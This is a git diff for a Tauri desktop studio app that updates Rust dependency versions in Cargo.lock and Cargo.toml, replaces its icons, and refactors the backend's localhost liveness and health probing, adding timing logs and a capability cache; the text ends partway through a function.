 [[package]]
 name = "regex-syntax"
-version = "0.8.10"
+version = "0.8.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a"
+checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4"
 
 [[package]]
 name = "reqwest"
@@ -3790,7 +3849,7 @@ dependencies = [
  "errno",
  "libc",
  "linux-raw-sys",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -3846,7 +3905,7 @@ dependencies = [
  "security-framework",
  "security-framework-sys",
  "webpki-root-certs",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -4078,9 +4137,9 @@ dependencies = [
 
 [[package]]
 name = "serde_json"
-version = "1.0.149"
+version = "1.0.150"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86"
+checksum = "e8014e44b4736ed0538adeecded0fce2a272f22dc9578a7eb6b2d9993c74cfb9"
 dependencies = [
  "itoa",
  "memchr",
@@ -4111,9 +4170,9 @@ dependencies = [
 
 [[package]]
 name = "serde_spanned"
-version = "1.0.4"
+version = "1.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8bbf91e5a4d6315eee45e704372590b30e260ee83af6639d64557f51b067776"
+checksum = "6662b5879511e06e8999a8a235d848113e942c9124f211511b16466ee2995f26"
 dependencies = [
  "serde_core",
 ]
@@ -4210,7 +4269,18 @@ checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
 dependencies = [
  "cfg-if",
  "cpufeatures 0.2.17",
- "digest",
+ "digest 0.10.7",
+]
+
+[[package]]
+name = "sha2"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "446ba717509524cb3f22f17ecc096f10f4822d76ab5c0b9822c5f9c284e825f4"
+dependencies = [
+ "cfg-if",
+ "cpufeatures 0.3.0",
+ "digest 0.11.3",
 ]
 
 [[package]]
@@ -4277,7 +4347,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e"
 dependencies = [
  "libc",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -4561,9 +4631,9 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
 
 [[package]]
 name = "tauri"
-version = "2.11.1"
+version = "2.11.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b93bd86d231f0a8138f11a02a584769fe4b703dc36ae133d783228dbc4801405"
+checksum = "437404997acf375d85f1177afa7e11bb971f274ed6a7b83a2a3e339015f4cc28"
 dependencies = [
  "anyhow",
  "bytes",
@@ -4648,7 +4718,7 @@ dependencies = [
  "semver",
  "serde",
  "serde_json",
- "sha2",
+ "sha2 0.10.9",
  "syn 2.0.117",
  "tauri-utils",
  "thiserror 2.0.18",
@@ -4706,9 +4776,9 @@ dependencies = [
 
 [[package]]
 name = "tauri-plugin-dialog"
-version = "2.7.0"
+version = "2.7.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1fa4150c95ae391946cc8b8f905ab14797427caba3a8a2f79628e956da91809"
+checksum = "65981abb771e74e571a38196c3baa11c459379164791eba0e67abc1a5fac9884"
 dependencies = [
  "log",
  "raw-window-handle",
@@ -4724,9 +4794,9 @@ dependencies = [
 
 [[package]]
 name = "tauri-plugin-fs"
-version = "2.5.0"
+version = "2.5.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "36e1ec28b79f3d0683f4507e1615c36292c0ea6716668770d4396b9b39871ed8"
+checksum = "b7ecc274121aca0c036a2b42d1cbe83d368d348f54e0bb8a735c2b1548e8f371"
 dependencies = [
  "anyhow",
  "dunce",
@@ -4742,7 +4812,7 @@ dependencies = [
  "tauri-plugin",
  "tauri-utils",
  "thiserror 2.0.18",
- "toml 0.9.12+spec-1.1.0",
+ "toml 1.1.2+spec-1.1.0",
  "url",
 ]
 
@@ -4767,9 +4837,9 @@ dependencies = [
 
 [[package]]
 name = "tauri-plugin-opener"
-version = "2.5.3"
+version = "2.5.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc624469b06f59f5a29f874bbc61a2ed737c0f9c23ef09855a292c389c42e83f"
+checksum = "17e1bea14edce6b793a04e2417e3fd924b9bc4faae83cdee7d714156cceeed29"
 dependencies = [
  "dunce",
  "glob",
@@ -4799,9 +4869,9 @@ dependencies = [
 
 [[package]]
 name = "tauri-plugin-single-instance"
-version = "2.4.0"
+version = "2.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc61e4822b8f74d68278e09161d3e3fdd1b14b9eb781e24edccaabf10c420e8c"
+checksum = "5c8f29386f5e9fdc699182388a33ee80a56de436d91b67459e86afef426282af"
 dependencies = [
  "serde",
  "serde_json",
@@ -4981,10 +5051,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd"
 dependencies = [
  "fastrand",
- "getrandom 0.4.2",
+ "getrandom 0.3.4",
  "once_cell",
  "rustix",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -5116,9 +5186,9 @@ dependencies = [
 
 [[package]]
 name = "tokio"
-version = "1.50.0"
+version = "1.52.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "27ad5e34374e03cfffefc301becb44e9dc3c17584f414349ebe29ed26661822d"
+checksum = "8fc7f01b389ac15039e4dc9531aa973a135d7a4135281b12d7c1bc79fd57fffe"
 dependencies = [
  "bytes",
  "libc",
@@ -5133,9 +5203,9 @@ dependencies = [
 
 [[package]]
 name = "tokio-macros"
-version = "2.6.1"
+version = "2.7.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c55a2eff8b69ce66c84f85e1da1c233edc36ceb85a2058d11b0d6a3c7e7569c"
+checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -5195,13 +5265,28 @@ checksum = "cf92845e79fc2e2def6a5d828f0801e29a2f8acc037becc5ab08595c7d5e9863"
 dependencies = [
  "indexmap 2.13.0",
  "serde_core",
- "serde_spanned 1.0.4",
+ "serde_spanned 1.1.1",
  "toml_datetime 0.7.5+spec-1.1.0",
  "toml_parser",
  "toml_writer",
  "winnow 0.7.15",
 ]
 
+[[package]]
+name = "toml"
+version = "1.1.2+spec-1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "81f3d15e84cbcd896376e6730314d59fb5a87f31e4b038454184435cd57defee"
+dependencies = [
+ "indexmap 2.13.0",
+ "serde_core",
+ "serde_spanned 1.1.1",
+ "toml_datetime 1.1.1+spec-1.1.0",
+ "toml_parser",
+ "toml_writer",
+ "winnow 1.0.0",
+]
+
 [[package]]
 name = "toml_datetime"
 version = "0.6.3"
@@ -5222,9 +5307,9 @@ dependencies = [
 
 [[package]]
 name = "toml_datetime"
-version = "1.0.1+spec-1.1.0"
+version = "1.1.1+spec-1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b320e741db58cac564e26c607d3cc1fdc4a88fd36c879568c07856ed83ff3e9"
+checksum = "3165f65f62e28e0115a00b2ebdd37eb6f3b641855f9d636d3cd4103767159ad7"
 dependencies = [
  "serde_core",
 ]
@@ -5260,25 +5345,25 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8ca1a40644a28bce036923f6a431df0b34236949d111cc07cb6dca830c9ef2e1"
 dependencies = [
  "indexmap 2.13.0",
- "toml_datetime 1.0.1+spec-1.1.0",
+ "toml_datetime 1.1.1+spec-1.1.0",
  "toml_parser",
  "winnow 1.0.0",
 ]
 
 [[package]]
 name = "toml_parser"
-version = "1.0.10+spec-1.1.0"
+version = "1.1.2+spec-1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7df25b4befd31c4816df190124375d5a20c6b6921e2cad937316de3fccd63420"
+checksum = "a2abe9b86193656635d2411dc43050282ca48aa31c2451210f4202550afb7526"
 dependencies = [
  "winnow 1.0.0",
 ]
 
 [[package]]
 name = "toml_writer"
-version = "1.0.7+spec-1.1.0"
+version = "1.1.1+spec-1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f17aaa1c6e3dc22b1da4b6bba97d066e354c7945cac2f7852d4e4e7ca7a6b56d"
+checksum = "756daf9b1013ebe47a8776667b466417e2d4c5679d441c26230efd9ef78692db"
 
 [[package]]
 name = "tower"
@@ -5375,7 +5460,7 @@ dependencies = [
  "png 0.18.1",
  "serde",
  "thiserror 2.0.18",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -5403,9 +5488,9 @@ checksum = "bc7d623258602320d5c55d1bc22793b57daff0ec7efc270ea7d55ce1d5f5471c"
 
 [[package]]
 name = "typenum"
-version = "1.19.0"
+version = "1.20.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb"
+checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"
 
 [[package]]
 name = "uds_windows"
@@ -5415,7 +5500,7 @@ checksum = "f2f6fb2847f6742cd76af783a2a2c49e9375d0a111c7bef6f71cd9e738c72d6e"
 dependencies = [
  "memoffset",
  "tempfile",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -5495,7 +5580,7 @@ dependencies = [
  "reqwest 0.12.28",
  "serde",
  "serde_json",
- "sha2",
+ "sha2 0.11.0",
  "simplelog",
  "tauri",
  "tauri-build",
@@ -5509,7 +5594,7 @@ dependencies = [
  "tauri-plugin-window-state",
  "tokio",
  "windows 0.62.2",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]
 
 [[package]]
@@ -5978,7 +6063,7 @@ version = "0.1.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22"
 dependencies = [
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -6650,7 +6735,7 @@ dependencies = [
  "once_cell",
  "percent-encoding",
  "raw-window-handle",
- "sha2",
+ "sha2 0.10.9",
  "soup3",
  "tao-macros",
  "thiserror 2.0.18",
diff --git a/studio/src-tauri/Cargo.toml b/studio/src-tauri/Cargo.toml
index 2250f2774f..438558fe77 100644
--- a/studio/src-tauri/Cargo.toml
+++ b/studio/src-tauri/Cargo.toml
@@ -12,8 +12,8 @@ tauri-plugin-process = "2"
 serde = { version = "1", features = ["derive"] }
 serde_json = "1"
 base64 = "0.22"
-hmac = "0.12"
-sha2 = "0.10"
+hmac = "0.13"
+sha2 = "0.11"
 reqwest = { version = "0.12", features = ["json"] }
 tokio = { version = "1", features = ["full"] }
 log = "0.4"
@@ -23,7 +23,7 @@ regex = "1"
 open = "5"
 process-wrap = { version = "9", features = ["std"] }
 fix-path-env = { git = "https://github.com/tauri-apps/fix-path-env-rs" }
-tauri-plugin-opener = "2.5.3"
+tauri-plugin-opener = "2.5.4"
 tauri-plugin-updater = "2"
 tauri-plugin-clipboard-manager = "2"
 tauri-plugin-dialog = "2"
@@ -39,7 +39,7 @@ elevated-command = "1.1.2"
 
 [target.'cfg(windows)'.dependencies]
 windows = { version = "0.62.2", features = ["Win32_System_Threading"] }
-windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Console", "Win32_System_JobObjects", "Win32_System_Threading"] }
+windows-sys = { version = "0.61", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Console", "Win32_System_JobObjects", "Win32_System_Threading"] }
 
 [build-dependencies]
 tauri-build = { version = "2", features = [] }
diff --git a/studio/src-tauri/icons/128x128.png b/studio/src-tauri/icons/128x128.png
index c1dae04e6d..bfa6e73583 100644
Binary files a/studio/src-tauri/icons/128x128.png and b/studio/src-tauri/icons/128x128.png differ
diff --git a/studio/src-tauri/icons/32x32.png b/studio/src-tauri/icons/32x32.png
index bd08d7bcbb..d5c1123fce 100644
Binary files a/studio/src-tauri/icons/32x32.png and b/studio/src-tauri/icons/32x32.png differ
diff --git a/studio/src-tauri/icons/icon.icns b/studio/src-tauri/icons/icon.icns
index e67a5e6474..428b048faa 100644
Binary files a/studio/src-tauri/icons/icon.icns and b/studio/src-tauri/icons/icon.icns differ
diff --git a/studio/src-tauri/icons/icon.ico b/studio/src-tauri/icons/icon.ico
index acc6eb82b9..72bb4631f2 100644
Binary files a/studio/src-tauri/icons/icon.ico and b/studio/src-tauri/icons/icon.ico differ
diff --git a/studio/src-tauri/icons/icon.png b/studio/src-tauri/icons/icon.png
index 635900d8a7..7837ab40dd 100644
Binary files a/studio/src-tauri/icons/icon.png and b/studio/src-tauri/icons/icon.png differ
diff --git a/studio/src-tauri/src/commands.rs b/studio/src-tauri/src/commands.rs
index 7c1ce611b8..6bc2116786 100644
--- a/studio/src-tauri/src/commands.rs
+++ b/studio/src-tauri/src/commands.rs
@@ -65,10 +65,18 @@ pub async fn desktop_preflight(
     shutdown: tauri::State<'_, ShutdownFlag>,
     diagnostics: tauri::State<'_, DiagnosticsState>,
 ) -> Result<crate::preflight::DesktopPreflightResult, String> {
+    let started = Instant::now();
     let (result, adopted_watchdog_generation) =
         crate::preflight::desktop_preflight_result_with_state(state.inner()).await?;
     diagnostics::record_preflight(&diagnostics, &result);
 
+    info!(
+        "desktop_preflight completed disposition={:?} port={:?} in {}ms",
+        result.disposition,
+        result.port,
+        started.elapsed().as_millis()
+    );
+
     if let Some((generation, newly_adopted)) = adopted_watchdog_generation {
         if newly_adopted {
             if let Some(port) = result.port {
@@ -205,9 +213,17 @@ pub async fn start_managed_server(
     port: u16,
 ) -> Result<(), String> {
     info!("start_managed_server command called with port {}", port);
+
+    let started = Instant::now();
     let diagnostics_state = diagnostics.inner().clone();
     let generation = process::start_backend(&app, &state, port, &shutdown, &diagnostics_state)?;
 
+    info!(
+        "start_managed_server spawned generation={} in {}ms",
+        generation,
+        started.elapsed().as_millis()
+    );
+
     let watchdog_state = state.inner().clone();
     let watchdog_shutdown = shutdown.inner().clone();
     let watchdog_app = app.clone();
diff --git a/studio/src-tauri/src/desktop_backend_owner.rs b/studio/src-tauri/src/desktop_backend_owner.rs
index ed4b5f7fd9..c7d0a7b309 100644
--- a/studio/src-tauri/src/desktop_backend_owner.rs
+++ b/studio/src-tauri/src/desktop_backend_owner.rs
@@ -93,7 +93,7 @@ enum PreviousAppPidStatus {
     Uncertain,
 }
 
-#[derive(Debug, Deserialize)]
+#[derive(Clone, Debug, Deserialize)]
 struct HealthDesktopOwner {
     kind: Option<String>,
     token_sha256: Option<String>,
@@ -101,15 +101,7 @@ struct HealthDesktopOwner {
 
 #[derive(Debug, Deserialize)]
 struct HealthResponse {
-    status: Option<String>,
-    service: Option<String>,
     version: Option<String>,
-    desktop_protocol_version: Option<u16>,
-    desktop_manageability_version: Option<u16>,
-    supports_desktop_auth: Option<bool>,
-    supports_desktop_backend_ownership: Option<bool>,
-    studio_root_id: Option<String>,
-    desktop_owner: Option<HealthDesktopOwner>,
 }
 
 #[derive(Debug)]
@@ -123,6 +115,18 @@ struct DesktopLoginPayload<'a> {
     secret: &'a str,
 }
 
+#[derive(Clone, Debug, Deserialize)]
+pub(crate) struct DesktopLiveness {
+    status: Option<String>,
+    service: Option<String>,
+    desktop_protocol_version: Option<u16>,
+    desktop_manageability_version: Option<u16>,
+    supports_desktop_auth: Option<bool>,
+    supports_desktop_backend_ownership: Option<bool>,
+    studio_root_id: Option<String>,
+    desktop_owner: Option<HealthDesktopOwner>,
+}
+
 #[derive(Deserialize)]
 struct TokenResponse {
     access_token: String,
@@ -290,10 +294,10 @@ impl BackendOwnerState {
     }
 
     pub(crate) fn verifies_exact_port_blocking(&self, port: u16) -> bool {
-        match fetch_health_blocking(port) {
-            Ok(Some(health)) => {
-                health_verifies_metadata(&health, &self.metadata)
-                    && lifecycle_control_block_reason(&health).is_none()
+        match fetch_liveness_blocking(port) {
+            Ok(Some(liveness)) => {
+                liveness_verifies_metadata(&liveness, &self.metadata)
+                    && lifecycle_control_block_reason(&liveness).is_none()
             }
             _ => false,
         }
@@ -498,66 +502,110 @@ pub(crate) fn test_owner_state(root_id: &str, token: &str, port: u16) -> Backend
     }
 }
 
-fn health_verifies_metadata(health: &HealthResponse, metadata: &DesktopBackendMetadata) -> bool {
-    let healthy = health.status.as_deref() == Some("healthy")
-        && health.service.as_deref() == Some("Unsloth UI Backend");
-    let Some(owner) = health.desktop_owner.as_ref() else {
+fn liveness_verifies_metadata(
+    liveness: &DesktopLiveness,
+    metadata: &DesktopBackendMetadata,
+) -> bool {
+    let alive = matches!(liveness.status.as_deref(), Some("alive") | Some("healthy"))
+        && liveness.service.as_deref() == Some("Unsloth UI Backend");
+    let Some(owner) = liveness.desktop_owner.as_ref() else {
         return false;
     };
-    healthy
+    alive
         && owner_matches_metadata(
             metadata,
-            health.studio_root_id.as_deref(),
+            liveness.studio_root_id.as_deref(),
             owner.kind.as_deref(),
             owner.token_sha256.as_deref(),
         )
 }
 
-fn lifecycle_control_block_reason(health: &HealthResponse) -> Option<String> {
-    if health.desktop_protocol_version != Some(crate::preflight::DESKTOP_PROTOCOL_VERSION) {
+fn lifecycle_control_block_reason(liveness: &DesktopLiveness) -> Option<String> {
+    if liveness.desktop_protocol_version != Some(crate::preflight::DESKTOP_PROTOCOL_VERSION) {
         return Some("desktop_protocol_incompatible".to_string());
     }
-    if health.supports_desktop_auth != Some(true) {
+    if liveness.supports_desktop_auth != Some(true) {
         return Some("desktop_auth_unsupported".to_string());
     }
-    if health.desktop_manageability_version.unwrap_or(0)
+    if liveness.desktop_manageability_version.unwrap_or(0)
         < crate::preflight::DESKTOP_MANAGEABILITY_VERSION
     {
         return Some("desktop_manageability_unsupported".to_string());
     }
-    if health.supports_desktop_backend_ownership != Some(true) {
+    if liveness.supports_desktop_backend_ownership != Some(true) {
         return Some("desktop_backend_ownership_unsupported".to_string());
     }
     None
 }
 
-fn ready_for_use_status(health: &HealthResponse) -> OwnedBackendReadiness {
-    match crate::preflight::backend_version_stale_reason(health.version.as_deref()) {
+fn ready_for_use_status(health: Option<&HealthResponse>) -> OwnedBackendReadiness {
+    let version = health
+        .and_then(|h| h.version.as_deref())
+        .filter(|v| !v.is_empty());
+    match crate::preflight::backend_version_stale_reason(version) {
         Some(reason) => OwnedBackendReadiness::Stale { reason },
         None => OwnedBackendReadiness::Ready,
     }
 }
 
-async fn fetch_health(port: u16) -> Result<Option<HealthResponse>, reqwest::Error> {
+async fn health_ready_status(port: u16) -> OwnedBackendReadiness {
+    match fetch_health(port).await {
+        Ok(health) => ready_for_use_status(health.as_ref()),
+        Err(reason) => OwnedBackendReadiness::Stale { reason },
+    }
+}
+
+async fn fetch_liveness(port: u16) -> Result<Option<DesktopLiveness>, reqwest::Error> {
     let client = reqwest::Client::builder()
         .timeout(LOCAL_HTTP_TIMEOUT)
         .build()?;
+    for path in ["/api/liveness", "/api/health"] {
+        let response = client
+            .get(format!("http://127.0.0.1:{port}{path}"))
+            .send()
+            .await?;
+        if response.status() == reqwest::StatusCode::NOT_FOUND && path == "/api/liveness" {
+            continue;
+        }
+        if !response.status().is_success() {
+            return Ok(None);
+        }
+        return response.json::<DesktopLiveness>().await.map(Some);
+    }
+    Ok(None)
+}
+
+fn fetch_liveness_blocking(port: u16) -> Result<Option<DesktopLiveness>, String> {
+    for path in ["/api/liveness", "/api/health"] {
+        let response = http_request_blocking(port, "GET", path, &[], &[])?;
+        if response.status == 404 && path == "/api/liveness" {
+            continue;
+        }
+        if !(200..300).contains(&response.status) {
+            return Ok(None);
+        }
+        return serde_json::from_slice::<DesktopLiveness>(&response.body)
+            .map(Some)
+            .map_err(|e| e.to_string());
+    }
+    Ok(None)
+}
+async fn fetch_health(port: u16) -> Result<Option<HealthResponse>, String> {
+    let client = reqwest::Client::builder()
+        .timeout(LOCAL_HTTP_TIMEOUT)
+        .build()
+        .map_err(|e| e.to_string())?;
     let response = client
         .get(format!("http://127.0.0.1:{port}/api/health"))
         .send()
-        .await?;
+        .await
+        .map_err(|e| e.to_string())?;
     if !response.status().is_success() {
         return Ok(None);
     }
-    response.json::<HealthResponse>().await.map(Some)
-}
-
-fn fetch_health_blocking(port: u16) -> Result<Option<HealthResponse>, String> {
-    let response = http_request_blocking(port, "GET", "/api/health", &[], &[])?;
-    if !(200..300).contains(&response.status) {
-        return Ok(None);
-    }
-    serde_json::from_slice::<HealthResponse>(&response.body)
+    response
+        .json::<HealthResponse>()
+        .await
         .map(Some)
         .map_err(|e| e.to_string())
 }
@@ -618,21 +666,21 @@ pub(crate) async fn probe_owned_backend_state(
     };
     let mut verified = Vec::new();
     for port in ports {
-        let health = match fetch_health(port).await {
-            Ok(Some(health)) => health,
+        let liveness = match fetch_liveness(port).await {
+            Ok(Some(liveness)) => liveness,
             Ok(None) => continue,
             Err(error) => {
                 warn!(
-                    "Desktop-owned backend probe skipped port {} after health error: {}",
+                    "Desktop-owned backend probe skipped port {} after liveness error: {}",
                     port, error
                 );
                 continue;
             }
         };
-        if !health_verifies_metadata(&health, &owner.metadata) {
+        if !liveness_verifies_metadata(&liveness, &owner.metadata) {
             continue;
         }
-        if let Some(reason) = lifecycle_control_block_reason(&health) {
+        if let Some(reason) = lifecycle_control_block_reason(&liveness) {
             return OwnedBackendProbe::Unmanageable { port, reason };
         }
         if !desktop_login_route_compatible(port).await {
@@ -646,7 +694,7 @@ pub(crate) async fn probe_owned_backend_state(
                 return OwnedBackendProbe::Unmanageable { port, reason };
             }
         }
-        verified.push((port, ready_for_use_status(&health)));
+        verified.push((port, health_ready_status(port).await));
     }
 
     if verified.len() != 1 {
@@ -967,12 +1015,11 @@ mod tests {
     }
 
     #[test]
-    fn health_verification_requires_root_kind_and_token_sha() {
+    fn liveness_verification_requires_root_kind_and_token_sha() {
         let metadata = metadata(1, Some(8888));
-        let health = HealthResponse {
-            status: Some("healthy".to_string()),
+        let liveness = DesktopLiveness {
+            status: Some("alive".to_string()),
             service: Some("Unsloth UI Backend".to_string()),
-            version: Some("2026.5.2".to_string()),
             desktop_protocol_version: Some(1),
             desktop_manageability_version: Some(1),
             supports_desktop_auth: Some(true),
@@ -983,12 +1030,12 @@ mod tests {
                 token_sha256: Some(token_sha256(TOKEN)),
             }),
         };
-        assert!(health_verifies_metadata(&health, &metadata));
+        assert!(liveness_verifies_metadata(&liveness, &metadata));
 
-        let mut wrong_root = health;
+        let mut wrong_root = liveness;
         wrong_root.studio_root_id =
             Some("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string());
-        assert!(!health_verifies_metadata(&wrong_root, &metadata));
+        assert!(!liveness_verifies_metadata(&wrong_root, &metadata));
     }
 
     #[tokio::test]
diff --git a/studio/src-tauri/src/native_backend_lease.rs b/studio/src-tauri/src/native_backend_lease.rs
index 8c94a02f86..60c21664ec 100644
--- a/studio/src-tauri/src/native_backend_lease.rs
+++ b/studio/src-tauri/src/native_backend_lease.rs
@@ -1,5 +1,5 @@
 use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine as _};
-use hmac::{Hmac, Mac};
+use hmac::{Hmac, KeyInit, Mac};
 use serde::{Deserialize, Serialize};
 use sha2::{Digest, Sha256};
 use std::time::{Duration, SystemTime, UNIX_EPOCH};
diff --git a/studio/src-tauri/src/preflight.rs b/studio/src-tauri/src/preflight.rs
index 9138f30a58..5a48d26632 100644
--- a/studio/src-tauri/src/preflight.rs
+++ b/studio/src-tauri/src/preflight.rs
@@ -193,6 +193,9 @@ pub async fn desktop_preflight_result_with_state(
 
     if let Some(snapshot) = crate::process::owned_backend_snapshot(state)? {
         let Some(owner) = snapshot.owner.clone() else {
+            // TAURI_PORT is emitted only after uvicorn lifespan completes; keep
+            // this ownerless path on full health so auth/bootstrap are ready.
+
             let probe = match snapshot.port {
                 Some(port) => backend::probe_ownerless_spawned_backend(port).await,
                 None => backend,
@@ -494,9 +497,22 @@ mod tests {
         FakeCli { bin, dir }
     }
 
+    #[cfg(unix)]
+    fn remove_managed_capability_cache() {
+        let _ = std::fs::remove_file(
+            dirs::home_dir()
+                .unwrap()
+                .join(".unsloth")
+                .join("studio")
+                .join("desktop_capability_cache.json"),
+        );
+    }
+
     #[cfg(unix)]
     #[tokio::test]
     async fn managed_cli_capability_probe_classifies_core_cases() {
+        remove_managed_capability_cache();
+
         for (name, script, stale_reason) in [
             (
                 "cap-missing",
diff --git a/studio/src-tauri/src/preflight/backend.rs b/studio/src-tauri/src/preflight/backend.rs
index 0277ef5149..5a58142667 100644
--- a/studio/src-tauri/src/preflight/backend.rs
+++ b/studio/src-tauri/src/preflight/backend.rs
@@ -3,7 +3,10 @@ use super::version::{
     backend_version_stale_reason, DESKTOP_MANAGEABILITY_VERSION, DESKTOP_PROTOCOL_VERSION,
 };
 use serde::{Deserialize, Serialize};
+
+use log::info;
 use std::time::Duration;
+use std::time::Instant;
 
 #[derive(Debug, Deserialize)]
 struct DesktopOwnerHealth {
@@ -24,6 +27,7 @@ pub(super) struct BackendHealth {
 }
 
 pub(super) async fn backend_health(client: &reqwest::Client, port: u16) -> Option<BackendHealth> {
+    let started = Instant::now();
     let url = format!("http://127.0.0.1:{port}/api/health");
     let response = client.get(url).send().await.ok()?;
     if !response.status().is_success() {
@@ -40,6 +44,14 @@ pub(super) async fn backend_health(client: &reqwest::Client, port: u16) -> Optio
         .and_then(|v| v.as_str())
         .map(|s| s == "Unsloth UI Backend")
         .unwrap_or(false);
+    info!(
+        "Desktop preflight: health probe on port {} healthy={} service={} in {}ms",
+        port,
+        healthy,
+        service,
+        started.elapsed().as_millis()
+    );
+
     if !healthy || !service {
         return None;
     }
diff --git a/studio/src-tauri/src/preflight/managed.rs b/studio/src-tauri/src/preflight/managed.rs
index 51fde51896..57b8365ec5 100644
--- a/studio/src-tauri/src/preflight/managed.rs
+++ b/studio/src-tauri/src/preflight/managed.rs
@@ -2,14 +2,30 @@ use super::types::ManagedProbe;
 use super::version::{
     backend_version_stale_reason, DESKTOP_MANAGEABILITY_VERSION, DESKTOP_PROTOCOL_VERSION,
 };
-use serde::Deserialize;
+use log::{info, warn};
+use serde::{Deserialize, Serialize};
+use std::fs;
 use std::path::{Path, PathBuf};
 use std::process::Stdio;
-use std::time::Duration;
+use std::time::{Duration, Instant, UNIX_EPOCH};
 use tokio::io::AsyncReadExt;
 use tokio::process::Command;
 
-#[derive(Debug, Deserialize)]
+const MANAGED_CAPABILITY_CACHE_SCHEMA: u16 = 2;
+
+const FNV64_OFFSET_BASIS: u64 = 0xcbf29ce484222325;
+const FNV64_PRIME: u64 = 0x100000001b3;
+const HASHED_MARKER_MAX_BYTES: u64 = 64 * 1024;
+
+const FALLBACK_MARKER_NAMES: &[&str] = &[
+    "pyvenv.cfg",
+    "uv.lock",
+    "requirements.txt",
+    "python.exe",
+    "python",
+];
+
+#[derive(Debug, Clone, Deserialize, Serialize)]
 struct DesktopCapability {
     desktop_protocol_version: Option<u16>,
     desktop_manageability_version: Option<u16>,
@@ -20,7 +36,225 @@ struct DesktopCapability {
     version: Option<String>,
 }
 
+#[derive(Debug, Clone, Deserialize, Serialize)]
+struct ManagedCapabilityCache {
+    schema: u16,
+    bin_path: String,
+    bin_size: u64,
+    bin_mtime_ms: u64,
+    studio_root_id: Option<String>,
+    marker_path: Option<String>,
+    marker_size: Option<u64>,
+    marker_mtime_ms: Option<u64>,
+    desktop_protocol_version: u16,
+    desktop_manageability_version: u16,
+    capability: DesktopCapability,
+}
+
+#[derive(Debug, Clone)]
+struct MarkerFingerprint {
+    path: String,
+    size: u64,
+    mtime_ms: u64,
+    content_hash: Option<u64>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct ManagedBinFingerprint {
+    bin_path: String,
+    bin_size: u64,
+    bin_mtime_ms: u64,
+    studio_root_id: Option<String>,
+    marker_path: Option<String>,
+    marker_size: Option<u64>,
+    marker_mtime_ms: Option<u64>,
+}
+
+fn modified_ms(metadata: &fs::Metadata) -> Option<u64> {
+    metadata
+        .modified()
+        .ok()?
+        .duration_since(UNIX_EPOCH)
+        .ok()
+        .and_then(|duration| u64::try_from(duration.as_millis()).ok())
+}
+fn hash_bytes(hash: u64, bytes: &[u8]) -> u64 {
+    bytes.iter().fold(hash, |mut next, byte| {
+        next ^= u64::from(*byte);
+        next.wrapping_mul(FNV64_PRIME)
+    })
+}
+
+fn marker_content_hash(path: &Path, metadata: &fs::Metadata) -> Option<u64> {
+    if metadata.len() > HASHED_MARKER_MAX_BYTES {
+        return None;
+    }
+    fs::read(path)
+        .ok()
+        .map(|bytes| hash_bytes(FNV64_OFFSET_BASIS, &bytes))
+}
+
+fn marker_candidates_for_bin(bin: &Path) -> Vec<PathBuf> {
+    let Some(scripts_dir) = bin.parent() else {
+        return Vec::new();
+    };
+    let Some(venv_dir) = scripts_dir.parent() else {
+        return Vec::new();
+    };
+    let mut out = Vec::new();
+
+    #[cfg(unix)]
+    {
+        if let Ok(lib_dir) = fs::read_dir(venv_dir.join("lib")) {
+            for entry in lib_dir.flatten() {
+                out.push(
+                    entry
